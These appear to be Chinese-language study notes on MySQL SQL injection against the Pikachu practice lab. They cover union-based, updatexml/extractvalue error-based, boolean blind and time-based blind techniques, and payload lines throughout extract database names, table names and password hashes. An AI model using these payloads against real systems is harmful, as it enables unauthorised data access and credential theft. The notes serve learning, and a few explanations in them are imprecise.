union 注入
必须满足后一个select
的结果和前一个的列名相同, 如果后面的没有前面多, 必须通过数字来补齐
1 | select * from member |
也可以通过注入语句
1 | 你好' union select database(),version # |
不一定需要特定的表,可以直接执行
updatexml()
此部分为mysql
的特性,
updatexml()
和extractvalue()
有一样的作用
EXTRACTVALUE
函数用于从 XML 文档中提取指定 XPath 表达式所匹配的值。它主要用于读取 XML 数据中的特定部分,是一个只读操作,不会对 XML 数据本身进行修改。
UPDATEXML
函数用于更新 XML 文档中指定 XPath 表达式所匹配的节点的值。它可以修改 XML 数据,属于写操作。
注意后面要使用注释#
格式为updatexml(xml内容,xml路径,xml更新后的内容)
,原理是通过让这个xml路径
不复合规范报错带出数据实际使用的时候这个xml路径
可以结合
extractvalue(xml内容,xml路径)
只做查询不做修改
实际使用的时候会使用concat()
将需要的部分保存在两个一定不能通过校验的符号中(如何让全部的数据都校验失败呢),否则会被当作字符串逐个校验直到发现无法校验的.就会导致外带出来的东西不全面
1 | updatexml(1,concat(0x7e,version(),0x7e),1) updatexml 默认三个参数,但是两个参数也可以 |
实际上在这里面
0x7e
表示的是符号~
,其他十六进制符号也可以
如果是updatexml(1,concat(1,version(),0x7e),1)
回显出来的就会是XPATH syntax error: '.26~'
如果是updatexml(1,concat(0x7e,version(),0x7e),1)
,回显出来的就是XPATH syntax error: '~5.7.26~'
,这是由于浮点数只能有一个小数点,再来一个就不合法了
使用'#',0x5e24
之类的其实都可以
updatexml
函数最多输出32个字节。这个时候md5解密是解不出来的,因为~的存在占据一位,密文只有31位,所以substring函数作用就出来了
1 | updatexml(1,concat(0x7e,substring((select password from users limit 0,1), 32)),0)# |
这个函数,一个是要截取的内容,一个是开始的位数substring(xx,yy)
从yy位开始
也要考虑通过or
来连接
1 | zzzz' or updatexml(1,concat(0x7e,database()),0) or ' |
查询表名
1 | select table_name from information_schema.tables where table_schema='pikachu' limit 2,1 |
information_schema
是一个系统数据库表示数据库中的表就是infomation_schema.tables
limit n,m
的参数是从n开始,查询m个值
盲注
数据库只能返回规定的东西而不能额外带出其他的数据,也就是不会返回报错信息的时候,可以按照其他方法来尝试注入
php
使用mysql_query()
来代替execute()
不会打印错误回显
回显盲注
会返回部分信息
爆数据库长度
1
lucy' and length(database())=7 #
必须要
#
注释后面的内容原理是如果
and
后面的判断是错的,那么数据库就不会回显,如果是对的,那么就会正常返回lucy
查询的内容爆数据库名
1
lucy' and left(database(),2)='pi' #
还是原来的道理, 可以先爆出数据库名字的长度在爆破数据库的具体名称,还是一样的,只有当数据库中第二个等式成立才会返回
lucy
查询的内容
时间盲注
啥都不返回的时候可以尝试使用
1 | lucy' and if(database()='pikachu',sleep(10),sleep(0)) # |
使用if(判断,true执行,false执行)
语句来进行,本质是通过sleep()
函数来达成目的,然后通过调换sleep()
的时间,观察是否有区别,就可以判断是否存在事件注入
1 | lucy' and if(database()='pikachu',sleep(0),sleep(10)) # |
在这里length()
和left()
也是一样可以拿来用
也可以使用substr
和substring
来爆破数据库名
1 | substr(String,startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串); |
example
1 | String = 'abcdefghijklmn' |
与编程语言的区别就是mysql
是从1开始的